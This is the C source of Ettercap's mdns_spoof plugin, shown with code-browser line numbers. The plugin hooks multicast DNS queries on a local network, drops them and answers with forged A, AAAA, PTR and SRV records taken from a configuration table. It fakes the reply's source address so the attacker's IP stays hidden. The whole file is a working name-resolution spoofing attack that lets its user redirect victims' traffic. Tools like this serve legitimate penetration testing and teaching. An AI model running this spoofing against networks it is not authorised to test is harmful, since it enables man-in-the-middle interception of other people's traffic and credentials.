1 /*
2     mdns_spoof -- ettercap plugin -- spoofs mdns replies
3 
4     Copyright (C) Ettercap Development Team
5 
6     This program is free software; you can redistribute it and/or modify
7     it under the terms of the GNU General Public License as published by
8     the Free Software Foundation; either version 2 of the License, or
9     (at your option) any later version.
10 
11     This program is distributed in the hope that it will be useful,
12     but WITHOUT ANY WARRANTY; without even the implied warranty of
13     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
14     GNU General Public License for more details.
15 
16     You should have received a copy of the GNU General Public License
17     along with this program; if not, write to the Free Software
18     Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
19 
20 */
21 
22 #include <ec.h>                        /* required for global variables */
23 #include <ec_plugins.h>                /* required for plugin ops */
24 #include <ec_file.h>
25 #include <ec_hook.h>
26 #include <ec_resolv.h>
27 #include <ec_send.h>
28 
29 #include <stdlib.h>
30 #include <string.h>
31 
32 #ifndef ns_t_wins
33 #define ns_t_wins 0xFF01      /* WINS name lookup */
34 #endif
35 
36 #define MDNS_QU_FLAG 0x8000
37 
38 struct mdns_header {
39     uint16_t id;
40     uint16_t flags;
41     uint16_t questions;
42     uint16_t answer_rrs;
43     uint16_t auth_rrs;
44     uint16_t additional_rrs;
45 };
46 
47 struct mdns_spoof_entry {
48    int   type;   /* ns_t_a, ns_t_ptr, ns_t_srv */
49    char *name;
50    struct ip_addr ip;
51    u_int16 port; /* for SRV records */
52    SLIST_ENTRY(mdns_spoof_entry) next;
53 };
54 
55 static SLIST_HEAD(, mdns_spoof_entry) mdns_spoof_head;
56 
57 /* protos */
58 
59 int plugin_load(void *);
60 static int mdns_spoof_init(void *);
61 static int mdns_spoof_fini(void *);
62 static int load_db(void);
63 static void mdns_spoof(struct packet_object *po);
64 static int parse_line(const char *str, int line, int *type_p, char **ip_p, u_int16 *port_p, char **name_p);
65 static int get_spoofed_a(const char *a, struct ip_addr **ip);
66 static int get_spoofed_aaaa(const char *a, struct ip_addr **ip);
67 static int get_spoofed_ptr(const char *arpa, char **a, struct ip_addr **ip);
68 static int get_spoofed_srv(const char *name, struct ip_addr **ip, u_int16 *port);
69 static int prep_mdns_reply(struct packet_object *po, u_int16 class, struct ip_addr **sender, struct ip_addr **target, u_int8 **tmac , struct ip_addr *reply);
70 char *type_str(int type);
71 static void mdns_spoof_dump(void);
72 
73 /* plugin operations */
74 
75 struct plugin_ops mdns_spoof_ops = {
76    /* ettercap version MUST be the global EC_VERSION */
77    .ettercap_version =  EC_VERSION,
78    /* the name of the plugin */
79    .name =              "mdns_spoof",
80     /* a short description of the plugin (max 50 chars) */
81    .info =              "Sends spoofed mDNS replies",
82    /* the plugin version. */
83    .version =           "1.0",
84    /* activation function */
85    .init =              &mdns_spoof_init,
86    /* deactivation function */
87    .fini =              &mdns_spoof_fini,
88 };
89 
90 /* this function is called on plugin load */
plugin_load(void * handle)91 int plugin_load(void *handle)
92 {
93    /* load the database of spoofed replies (etter.dns)
94     * return an error if we could not open the file
95     */
96    if (load_db() != E_SUCCESS)
97       return -E_INVALID;
98 
99    mdns_spoof_dump();
100    return plugin_register(handle, &mdns_spoof_ops);
101 }
102 
mdns_spoof_init(void * dummy)103 static int mdns_spoof_init(void *dummy)
104 {
105    /* variable not used */
106    (void) dummy;
107 
108    /*
109     * add the hook in the dissector.
110     * this will pass only valid dns packets
111     */
112    hook_add(HOOK_PROTO_MDNS, &mdns_spoof);
113 
114    return PLUGIN_RUNNING;
115 }
116 
117 
mdns_spoof_fini(void * dummy)118 static int mdns_spoof_fini(void *dummy)
119 {
120    /* variable not used */
121    (void) dummy;
122 
123    /* remove the hook */
124    hook_del(HOOK_PROTO_MDNS, &mdns_spoof);
125 
126    return PLUGIN_FINISHED;
127 }
128 
129 /*
130  * load the database in the list
131  */
load_db(void)132 static int load_db(void)
133 {
134    struct mdns_spoof_entry *d;
135    FILE *f;
136    char line[128];
137    char *ptr, *ip, *name;
138    int lines = 0, type;
139    u_int16 port = 0;
140 
141    /* open the file */
142    f = open_data("etc", ETTER_MDNS, FOPEN_READ_TEXT);
143    if (f == NULL) {
144       USER_MSG("mdns_spoof: Cannot open %s\n", ETTER_MDNS);
145       return -E_INVALID;
146    }
147 
148    /* load it in the list */
149    while (fgets(line, 128, f)) {
150       /* count the lines */
151       lines++;
152 
153       /* trim comments */
154       if ( (ptr = strchr(line, '#')) )
155          *ptr = '\0';
156 
157       /* skip empty lines */
158       if (!*line || *line == '\r' || *line == '\n')
159          continue;
160 
161       /* strip apart the line */
162       if (!parse_line(line, lines, &type, &ip, &port, &name))
163          continue;
164 
165       /* create the entry */
166       SAFE_CALLOC(d, 1, sizeof(struct mdns_spoof_entry));
167       d->name = strdup(name);
168       d->type = type;
169       d->port = port;
170 
171       /* convert the ip address and fill the struct */
172       if (ip_addr_pton(ip, &d->ip) != E_SUCCESS) {
173          USER_MSG("mdns_spoof: %s:%d Invalid IPv4 or IPv6 address\n", ETTER_MDNS, lines);
174          SAFE_FREE(d);
175          continue;
176       }
177 
178       /* insert in the list */
179       SLIST_INSERT_HEAD(&mdns_spoof_head, d, next);
180    }
181 
182    fclose(f);
183 
184    return E_SUCCESS;
185 }
186 
187 /*
188  * Parse line on format "<name> <type> <IP-addr>".
189  */
parse_line(const char * str,int line,int * type_p,char ** ip_p,u_int16 * port_p,char ** name_p)190 static int parse_line (const char *str, int line, int *type_p, char **ip_p, u_int16 *port_p, char **name_p)
191 {
192    static char name[100+1];
193    static char ip[MAX_ASCII_ADDR_LEN];
194    static int port;
195    char type[10+1];
196 
197  DEBUG_MSG("mdns_spoof: %s:%d str '%s'", ETTER_MDNS, line, str);
198 
199    if (sscanf(str,"%100s %10s %40[^\r\n# ]", name, type, ip) != 3) {
200       USER_MSG("mdns_spoof: %s:%d Invalid entry %s\n", ETTER_MDNS, line, str);
201       return (0);
202    }
203 
204    if (!strcasecmp(type,"PTR")) {
205       if (strpbrk(name,"*?[]")) {
206          USER_MSG("mdns_spoof: %s:%d Wildcards in PTR records are not allowed; %s\n",
207                   ETTER_MDNS, line, str);
208          return (0);
209       }
210       *type_p = ns_t_ptr;
211       *name_p = name;
212       *ip_p = ip;
213       return (1);
214    }
215 
216    if (!strcasecmp(type,"A")) {
217       *type_p = ns_t_a;
218       *name_p = name;
219       *ip_p = ip;
220       return (1);
221    }
222 
223    if (!strcasecmp(type,"AAAA")) {
224       *type_p = ns_t_aaaa;
225       *name_p = name;
226       *ip_p = ip;
227       return (1);
228    }
229 
230    if (!strcasecmp(type, "SRV")) {
231       /*
232        * Additional format scan as SRV records have a different syntax
233        */
234       static char ip_tmp[MAX_ASCII_ADDR_LEN];
235       if (sscanf(ip, "[%40[0-9a-fA-F:.]]:%d", ip_tmp, &port) == 2) {
236          strncpy(ip, ip_tmp, strlen(ip_tmp)+1);
237       }
238       else if (sscanf(ip, "%20[0-9.]:%d", ip_tmp, &port) == 2) {
239          strncpy(ip, ip_tmp, strlen(ip_tmp)+1);
240       }
241       else {
242          USER_MSG("mdns_spoof: %s:%d Unknown syntax for SRV record; %s\n",
243                   ETTER_MDNS, line, str);
244          return 0;
245       }
246 
247       if (port > 0xffff || port <= 0) {
248          USER_MSG("mdns_spoof: %s:%d Invalid value for port: %d\n",
249                   ETTER_MDNS, line, port);
250          return 0;
251       }
252 
253       *type_p = ns_t_srv;
254       *name_p = name;
255       *ip_p = ip;
256       *port_p = port & 0x0000ffff;
257 
258       return 1;
259    }
260 
261    USER_MSG("mdns_spoof: %s:%d Unknown record type %s\n", ETTER_MDNS, line, type);
262    return (0);
263 }
264 
265 /*
266  * parse the request and return a spoofed response
267  */
mdns_spoof(struct packet_object * po)268  static void mdns_spoof(struct packet_object *po)
269  {
270     struct mdns_header *mdns;
271     struct iface_env *iface;
272     char name[NS_MAXDNAME];
273     int name_len;
274     u_char *q, *data, *end;;
275     u_int16 class;
276     u_int16 type;
277     int x;
278 
279     mdns = (struct mdns_header *)po->DATA.data;
280     data = (u_char *)(mdns+1);
281     end = (u_char *)mdns + po->DATA.len;
282 
283     q = data;
284 
285     if (mdns->flags == 0x8400 || mdns->answer_rrs > 0)
286     {
287         //We only want queries.
288         return;
289     }
290 
291     /* Do not forward query */
292     po->flags |= PO_DROPPED;
293 
294     /* set incoming interface as outgoing interface for reply */
295     iface = po->flags & PO_FROMIFACE ? EC_GBL_IFACE : EC_GBL_BRIDGE;
296 
297     /* process all the questions */
298     for (x = 0; x < mdns->questions; x++) {
299 
300       name_len = dn_expand((u_char*)mdns, end, q, name, sizeof(name));
301       if (name_len == -1)
302           return;
303       q = data + name_len;
304 
305       if (q >= end || name_len == 0)
306         return;
307 
308       NS_GET16(type, q);
309       NS_GET16(class, q);
310 
311       /* handle only internet class - unmask the QU flag */
312       if ((class & ~MDNS_QU_FLAG) != ns_c_in)
313          return;
314 
315       if(type == ns_t_a) {
316          struct ip_addr *reply;
317          struct ip_addr *sender;
318          struct ip_addr *target;
319          u_int8 *tmac;
320          u_int8 answer[name_len + 10 + 4];
321          u_char *p = answer + name_len;
322          char tmp[MAX_ASCII_ADDR_LEN];
323 
324          /* found the reply in the list */
325          if (get_spoofed_a(name, &reply) != E_SUCCESS)
326             return;
327 
328          /* check if the family matches the record type */
329          if (ntohs(reply->addr_type) != AF_INET) {
330             USER_MSG("mdns_spoof: can not spoof A record for %s "
331                      "because the value is not a IPv4 address\n", name);
332             return;
333          }
334 
335         /*
336          * in MDNS the original question is not included
337          * into the reply packet as with pure DNS -
338          * fill the buffer with the questioned name of the request
339          * we will append the answer just after the quoted name
340          */
341          memcpy(answer, data, name_len);                  /* name */
342          memcpy(p    , "\x00\x01", 2);                    /* type A */
343          memcpy(p + 2, "\x80\x01", 2);                    /* cache-flush-bit + class */
344          memcpy(p + 4, "\x00\x00\x0e\x10", 4);            /* TTL (1 hour) */
345          memcpy(p + 8, "\x00\x04", 2);                    /* datalen */
346          ip_addr_cpy(p + 10, reply);                      /* data */
347 
348          /*
349           * depending on the MDNS question, the target address has to be redefined;
350           * we also can not use the multicast address as the source but also;
351           * don't want to reveal our own IP, so the sender needs also be redefined;
352           * hence the variables for the transport of the reply need to be prepared.
353           */
354          prep_mdns_reply(po, class, &sender, &target, &tmac, reply);
355 
356          /* send the reply back to the multicast or unicast address
357           * and set the faked address as the source address for the transport
358           */
359          send_mdns_reply(iface, po->L4.src, sender, target, tmac,
360                          ntohs(mdns->id), answer, sizeof(answer), 1, 0, 0);
361 
362          USER_MSG("mdns_spoof: [%s %s] spoofed to [%s]\n", name, type_str(type), ip_addr_ntoa(reply, tmp));
363       }
364       if(type == ns_t_aaaa) {
365          struct ip_addr *reply;
366          struct ip_addr *sender;
367          struct ip_addr *target;
368          u_int8 *tmac;
369          u_int8 answer[name_len + 10 + 16];
370          u_char *p = answer + name_len;
371          char tmp[MAX_ASCII_ADDR_LEN];
372 
373          /* found the reply in the list */
374          if (get_spoofed_aaaa(name, &reply) != E_SUCCESS)
375             return;
376 
377          /* check if the family matches the record type */
378          if (ntohs(reply->addr_type) != AF_INET6) {
379             USER_MSG("mdns_spoof: can not spoof AAAA record for %s "
380                      "because the value is not a IPv6 address\n", name);
381             return;
382          }
383 
384         /*
385          * in MDNS the original question is not included
386          * into the reply packet as with pure DNS -
387          * fill the buffer with the questioned name of the request
388          * we will append the answer just after the quoted name
389          */
390          memcpy(answer, data, name_len);                  /* name */
391          memcpy(p    , "\x00\x1c", 2);                    /* type AAAA */
392          memcpy(p + 2, "\x80\x01", 2);                    /* cache-flush-bit + class */
393          memcpy(p + 4, "\x00\x00\x0e\x10", 4);            /* TTL (1 hour) */
394          memcpy(p + 8, "\x00\x10", 2);                    /* datalen */
395          ip_addr_cpy(p + 10, reply);                      /* data */
396 
397          /*
398           * depending on the MDNS question, the target address has to be redefined;
399           * we also can not use the multicast address as the source but also;
400           * don't want to reveal our own IP, so the sender needs also be redefined;
401           * hence the variables for the transport of the reply need to be prepared.
402           */
403          prep_mdns_reply(po, class, &sender, &target, &tmac, reply);
404 
405          /* send the reply back to the multicast or unicast address
406           * and set the faked address as the source address for the transport
407           */
408          send_mdns_reply(iface, po->L4.src, sender, target, tmac,
409                          ntohs(mdns->id), answer, sizeof(answer), 1, 0, 0);
410 
411          USER_MSG("mdns_spoof: [%s %s] spoofed to [%s]\n", name, type_str(type), ip_addr_ntoa(reply, tmp));
412        }
413        else if (type == ns_t_ptr) {
414          struct ip_addr *reply;
415          struct ip_addr *sender;
416          struct ip_addr *target;
417          u_int8 *tmac;
418          u_int8 answer[name_len + 256];
419          char *a, *p = (char*)answer + name_len;
420          int rlen;
421 
422          /* found the reply in the list */
423          if (get_spoofed_ptr(name, &a, &reply) != E_SUCCESS)
424             return;
425 
426         /*
427          * in MDNS the original question is not included
428          * into the reply packet as with pure DNS -
429          * fill the buffer with the questioned name of the request
430          * we will append the answer just after the quoted name
431          */
432          memcpy(answer, data, name_len);                  /* name */
433          memcpy(p    , "\x00\x0c", 2);                    /* type PTR */
434          memcpy(p + 2, "\x80\x01", 2);                    /* cache-flush-bit + class */
435          memcpy(p + 4, "\x00\x00\x0e\x10", 4);            /* TTL (1 hour) */
436          /* compress the string into the buffer */
437          rlen = dn_comp(a, (u_char*)p + 10, 256, NULL, NULL);
438          /* put the length before the dn_comp'd string */
439          p += 8;
440          NS_PUT16(rlen, p);
441 
442          /*
443           * depending on the MDNS question, the target address has to be redefined;
444           * we also can not use the multicast address as the source but also;
445           * don't want to reveal our own IP, so the sender needs also be redefined;
446           * hence the variables for the transport of the reply need to be prepared.
447           */
448          prep_mdns_reply(po, class, &sender, &target, &tmac, reply);
449 
450          /* send the fake reply */
451          send_mdns_reply(iface, po->L4.src, sender, target, tmac,
452                          ntohs(mdns->id), answer, name_len + 10 + rlen, 1, 0, 0);
453 
454          USER_MSG("mdns_spoof: [%s %s] spoofed to [%s]\n", name, type_str(type), a);
455       }
456       else if (type == ns_t_srv) {
457          struct ip_addr *reply;
458          struct ip_addr *sender;
459          struct ip_addr *target;
460          u_int8 *tmac;
461          u_int8 answer[name_len + 22 + 12 + 16];
462          char *p = (char *)answer + name_len;
463          char tmp[MAX_ASCII_ADDR_LEN];
464          char srvoffset[2];
465          char tgtoffset[2];
466          u_int16 port;
467          int dn_offset = 0;
468 
469 
470          /* found the reply in the list */
471          if (get_spoofed_srv(name, &reply, &port) != E_SUCCESS)
472             return;
473 
474          /*
475           * to refer the target to a proper domain name, we have to strip the
476           * service and protocol label from the questioned domain name
477           */
478          dn_offset += *(data+dn_offset) + 1; /* first label (e.g. _ldap)*/
479          dn_offset += *(data+dn_offset) + 1; /* second label (e.g. _tcp) */
480 
481          /* avoid offset overrun */
482          if (dn_offset + 12 > 255) {
483             dn_offset = 0;
484          }
485 
486          tgtoffset[0] = 0xc0; /* offset byte */
487          tgtoffset[1] = 12 + dn_offset; /* offset to the actual domain name */
488 
489          /*
490           * to inject the spoofed IP address in the additional section,
491           * we have set the offset pointing to the spoofed domain name set
492           * below (in turn, after the domain name [variable length] in the
493           * question section)
494           */
495          srvoffset[0] = 0xc0; /* offset byte */
496          srvoffset[1] = 12 + name_len + 16; /* offset to the answer */
497 
498         /*
499          * in MDNS the original question is not included
500          * into the reply packet as with pure DNS -
501          * fill the buffer with the questioned name of the request
502          * we will append the answer just after the quoted name
503          */
504          memcpy(answer, data, name_len);              /* name */
505          memcpy(p    , "\x00\x21", 2);                /* type SRV */
506          memcpy(p + 2, "\x80\x01", 2);                /* class IN */
507          memcpy(p + 4, "\x00\x00\x0e\x10", 4);        /* TTL (1 hour) */
508          memcpy(p + 8, "\x00\x0c", 2);                /* data length */
509          memcpy(p + 10, "\x00\x00", 2);               /* priority */
510          memcpy(p + 12, "\x00\x00", 2);               /* weight */
511          p+=14;
512          NS_PUT16(port, p);                           /* port */
513          p-=16;
514          /*
515           * add "srv." in front of the stripped domain
516           * name and resolve it in the additional
517           * record (here `srvoffset' is pointing at)
518           */
519          memcpy(p + 16, "\x03\x73\x72\x76", 4);       /* target */
520          memcpy(p + 20, tgtoffset,2);                 /* compressed name offset */
521 
522          /* add the additional record for the spoofed IPv4 address*/
523          if (ntohs(reply->addr_type) == AF_INET) {
524              memcpy(p + 22, srvoffset, 2);            /* compressed name offset */
525              memcpy(p + 24, "\x00\x01", 2);           /* type A */
526              memcpy(p + 26, "\x80\x01", 2);           /* class */
527              memcpy(p + 28, "\x00\x00\x0e\x10", 4);   /* TTL (1 hour) */
528              memcpy(p + 32, "\x00\x04", 2);           /* datalen */
529              ip_addr_cpy(p + 34, reply);              /* data */
530              memset(p + 38, 0, 12);                   /* padding */
531          }
532          /* add the additional record for the spoofed IPv6 address*/
533          else if (ntohs(reply->addr_type) == AF_INET6) {
534              memcpy(p + 22, srvoffset, 2);            /* compressed name offset */
535              memcpy(p + 24, "\x00\x1c", 2);           /* type AAAA */
536              memcpy(p + 26, "\x80\x01", 2);           /* class */
537              memcpy(p + 28, "\x00\x00\x0e\x10", 4);   /* TTL (1 hour) */
538              memcpy(p + 32, "\x00\x10", 2);           /* datalen */
539              ip_addr_cpy(p + 34, reply);              /* data */
540          }
541          else {
542              /* IP address not valid - abort */
543              return;
544          }
545 
546          /*
547           * depending on the MDNS question, the target address has to be redefined;
548           * we also can not use the multicast address as the source but also;
549           * don't want to reveal our own IP, so the sender needs also be redefined;
550           * hence the variables for the transport of the reply need to be prepared.
551           */
552          prep_mdns_reply(po, class, &sender, &target, &tmac, reply);
553 
554          /* send the reply back to the multicast or unicast address
555           * and set the faked address as the source address for the transport
556           */
557          send_mdns_reply(iface, po->L4.src, sender, target, tmac,
558                          ntohs(mdns->id), answer, sizeof(answer), 2, 0, 0);
559 
560          USER_MSG("mdns_spoof: SRV [%s] spoofed to [%s:%d]\n", name, ip_addr_ntoa(reply, tmp), port);
561       }
562     }
563 
564 
565  }
566 
567 /*
568  * return the ip address for the name - IPv4
569  */
get_spoofed_a(const char * a,struct ip_addr ** ip)570 static int get_spoofed_a(const char *a, struct ip_addr **ip)
571 {
572    struct mdns_spoof_entry *d;
573 
574    SLIST_FOREACH(d, &mdns_spoof_head, next) {
575       if (d->type == ns_t_a && match_pattern(a, d->name)) {
576 
577          /* return the pointer to the struct */
578          *ip = &d->ip;
579 
580          return E_SUCCESS;
581       }
582    }
583 
584    return -E_NOTFOUND;
585 }
586 
587 /*
588  * return the ip address for the name - IPv6
589  */
get_spoofed_aaaa(const char * a,struct ip_addr ** ip)590 static int get_spoofed_aaaa(const char *a, struct ip_addr **ip)
591 {
592    struct mdns_spoof_entry *d;
593 
594    SLIST_FOREACH(d, &mdns_spoof_head, next) {
595       if (d->type == ns_t_aaaa && match_pattern(a, d->name)) {
596 
597          /* return the pointer to the struct */
598          *ip = &d->ip;
599 
600          return E_SUCCESS;
601       }
602    }
603 
604    return -E_NOTFOUND;
605 }
606 
607 /*
608  * return the name for the ip address
609  */
get_spoofed_ptr(const char * arpa,char ** a,struct ip_addr ** ip)610 static int get_spoofed_ptr(const char *arpa, char **a, struct ip_addr **ip)
611 {
612    struct mdns_spoof_entry *d;
613    struct ip_addr ptr;
614    unsigned int oct[32];
615    int len, v4len, v6len;
616    u_char ipv4[4];
617    u_char ipv6[16];
618    char v4tld[] = "in-addr.arpa";
619    char v6tld[] = "ip6.arpa";
620 
621    len = strlen(arpa);
622    v4len = strlen(v4tld);
623    v6len = strlen(v6tld);
624 
625    /* Check the top level domain of the PTR query - IPv4 */
626 
627    if (strncmp(arpa + len - v4len, v4tld, v4len) == 0) {
628       /* parses the arpa format */
629       if (sscanf(arpa, "%d.%d.%d.%d.in-addr.arpa",
630                &oct[3], &oct[2], &oct[1], &oct[0]) != 4)
631          return -E_INVALID;
632 
633       /* collect octets */
634       ipv4[0] = oct[0] & 0xff;
635       ipv4[1] = oct[1] & 0xff;
636       ipv4[2] = oct[2] & 0xff;
637       ipv4[3] = oct[3] & 0xff;
638 
639       /* init the ip_addr structure */
640       ip_addr_init(&ptr, AF_INET, ipv4);
641 
642    }
643    /* check the top level domain of the PTR query - IPv6 */
644    else if (strncmp(arpa + len - v6len, v6tld, v6len) == 0) {
645        /* parses the ip6.arpa format for IPv6 reverse pointer */
646        if (sscanf(arpa, "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x."
647                         "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x."
648                         "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x."
649                         "%1x.%1x.%1x.%1x.%1x.ip6.arpa",
650                         &oct[31], &oct[30], &oct[29], &oct[28],
651                         &oct[27], &oct[26], &oct[25], &oct[24],
652                         &oct[23], &oct[22], &oct[21], &oct[20],
653                         &oct[19], &oct[18], &oct[17], &oct[16],
654                         &oct[15], &oct[14], &oct[13], &oct[12],
655                         &oct[11], &oct[10], &oct[9],  &oct[8],
656                         &oct[7],  &oct[6],  &oct[5],  &oct[4],
657                         &oct[3],  &oct[2],  &oct[1],  &oct[0]) != 32) {
658           return -E_INVALID;
659        }
660 
661        /* collect octets */
662        ipv6[0] = (oct[0] << 4) | oct[1];
663        ipv6[1] = (oct[2] << 4) | oct[3];
664        ipv6[2] = (oct[4] << 4) | oct[5];
665        ipv6[3] = (oct[6] << 4) | oct[7];
666        ipv6[4] = (oct[8] << 4) | oct[9];
667        ipv6[5] = (oct[10] << 4) | oct[11];
668        ipv6[6] = (oct[12] << 4) | oct[13];
669        ipv6[7] = (oct[14] << 4) | oct[15];
670        ipv6[8] = (oct[16] << 4) | oct[17];
671        ipv6[9] = (oct[18] << 4) | oct[19];
672        ipv6[10] = (oct[20] << 4) | oct[21];
673        ipv6[11] = (oct[22] << 4) | oct[23];
674        ipv6[12] = (oct[24] << 4) | oct[25];
675        ipv6[13] = (oct[26] << 4) | oct[27];
676        ipv6[14] = (oct[28] << 4) | oct[29];
677        ipv6[15] = (oct[30] << 4) | oct[31];
678 
679        /* init the ip_addr structure */
680        ip_addr_init(&ptr, AF_INET6, ipv6);
681 
682    }
683 
684    /* search in the list */
685    SLIST_FOREACH(d, &mdns_spoof_head, next) {
686       /*
687        * we cannot return whildcards in the reply,
688        * so skip the entry if the name contains a '*'
689        */
690       if (d->type == ns_t_ptr && !ip_addr_cmp(&ptr, &d->ip)) {
691 
692          /* return the pointer to the name */
693          *a = d->name;
694          *ip = &d->ip;
695 
696          return E_SUCCESS;
697       }
698    }
699 
700    return -E_NOTFOUND;
701 }
702 
get_spoofed_srv(const char * name,struct ip_addr ** ip,u_int16 * port)703 static int get_spoofed_srv(const char *name, struct ip_addr **ip, u_int16 *port)
704 {
705     struct mdns_spoof_entry *d;
706 
707     SLIST_FOREACH(d, &mdns_spoof_head, next) {
708         if (d->type == ns_t_srv && match_pattern(name, d->name)) {
709             /* return the pointer to the struct */
710             *ip = &d->ip;
711             *port = d->port;
712 
713             return E_SUCCESS;
714         }
715     }
716 
717     return -E_NOTFOUND;
718 }
719 
720 /*
721  * define sender address and target address
722  */
prep_mdns_reply(struct packet_object * po,u_int16 class,struct ip_addr ** sender,struct ip_addr ** target,u_int8 ** tmac,struct ip_addr * reply)723 static int prep_mdns_reply(struct packet_object *po, u_int16 class, struct ip_addr **sender,
724                       struct ip_addr **target, u_int8 **tmac , struct ip_addr *reply)
725 {
726    char tmp[MAX_ASCII_ADDR_LEN];
727 
728    if ((class & MDNS_QU_FLAG) == 0x8000 && ip_addr_is_multicast(&po->L3.dst)) {
729       /* received multicast but unicast response requested */
730       if (reply != NULL && reply->addr_type == po->L3.src.addr_type) {
731          /*
732           * address family of spoofed address matches address family
733           * of the transport protocol - we use it as the sender
734           */
735          *sender = reply;
736          *target = &po->L3.src;
737          *tmac = po->L2.src;
738 
739          return E_SUCCESS;
740 
741       } else {
742          /*
743           * we can not use the spoofed address as the sender
744           * a random link-local address need to be generated
745           */
746          if (ip_addr_random(&po->L3.dst, ntohs(po->L3.src.addr_type)) == E_SUCCESS) {
747             DEBUG_MSG("mdns_spoof: random IP generated: %s\n", ip_addr_ntoa(&po->L3.dst, tmp));
748 
749             *sender = &po->L3.dst;
750             *target = &po->L3.src;
751             *tmac = po->L2.src;
752 
753             return E_SUCCESS;
754 
755          } else {
756             DEBUG_MSG("mdns_spoof: Random sender IP generation failed\n");
757             DEBUG_MSG("mdns_spoof: Unknown address family: %s \n", ip_addr_ntoa(&po->L3.src,tmp));
758 
759             return -E_NOADDRESS;
760          }
761       }
762    } else if (!ip_addr_is_multicast(&po->L3.dst)) {
763       /* MDNS received via unicast - response via unicast */
764       *sender = &po->L3.dst;
765       *target = &po->L3.src;
766       *tmac = po->L2.src;
767 
768       return E_SUCCESS;
769 
770    } else {
771       /* normal multicast reply */
772       if (reply != NULL && reply->addr_type == po->L3.dst.addr_type) {
773          /*
774           * send the reply back to the multicast address and set
775           * the spoofed address also as the source ip address
776           */
777          *sender = reply;
778          *target = &po->L3.dst;
779          *tmac = po->L2.dst;
780 
781          return E_SUCCESS;
782 
783       } else {
784          /*
785           * we can not use the spoofed address as the sender
786           * a random link-local address need to be generated
787           */
788          if (ip_addr_random(&po->L3.src, ntohs(po->L3.src.addr_type)) == E_SUCCESS) {
789             DEBUG_MSG("mdns_spoof: random IP generated: %s\n", ip_addr_ntoa(&po->L3.src, tmp));
790 
791             /*
792              * send the reply back to the multicast address and set the
793              * faked address as the source
794              */
795             *sender = &po->L3.src;
796             *target = &po->L3.dst;
797             *tmac = po->L2.dst;
798 
799             return E_SUCCESS;
800 
801          } else {
802             DEBUG_MSG("mdns_spoof: Random sender IP generation failed\n");
803             DEBUG_MSG("mdns_spoof: Unknown address family: %s \n", ip_addr_ntoa(&po->L3.src,tmp));
804 
805             return -E_NOADDRESS;
806          }
807       }
808    }
809 }
810 
811 
type_str(int type)812 char *type_str (int type)
813 {
814    return (type == ns_t_a    ? "A" :
815            type == ns_t_aaaa ? "AAAA" :
816            type == ns_t_ptr  ? "PTR" :
817            type == ns_t_mx   ? "MX" :
818            type == ns_t_wins ? "WINS" :
819            type == ns_t_srv   ? "SRV" : "?");
820 }
821 
mdns_spoof_dump(void)822 static void mdns_spoof_dump(void)
823 {
824    struct mdns_spoof_entry *d;
825    char tmp[MAX_ASCII_ADDR_LEN];
826 
827    DEBUG_MSG("mdns_spoof entries:");
828    SLIST_FOREACH(d, &mdns_spoof_head, next) {
829       if (ntohs(d->ip.addr_type) == AF_INET) {
830          if (d->type == ns_t_srv) {
831             DEBUG_MSG("  %s -> [%s:%d], type %s, family IPv4",
832                       d->name, ip_addr_ntoa(&d->ip, tmp), d->port , type_str(d->type));
833          }
834          else {
835             DEBUG_MSG("  %s -> [%s], type %s, family IPv4",
836                       d->name, ip_addr_ntoa(&d->ip, tmp), type_str(d->type));
837          }
838       }
839       else if (ntohs(d->ip.addr_type) == AF_INET6) {
840          if (d->type == ns_t_srv) {
841             DEBUG_MSG("  %s -> [%s:%d], type %s, family IPv6",
842                       d->name, ip_addr_ntoa(&d->ip, tmp), d->port , type_str(d->type));
843          }
844          else {
845             DEBUG_MSG("  %s -> [%s], type %s, family IPv6",
846                       d->name, ip_addr_ntoa(&d->ip, tmp), type_str(d->type));
847          }
848       }
849       else
850       {
851          DEBUG_MSG("  %s -> ??", d->name);
852       }
853    }
854 }
855 
856 
857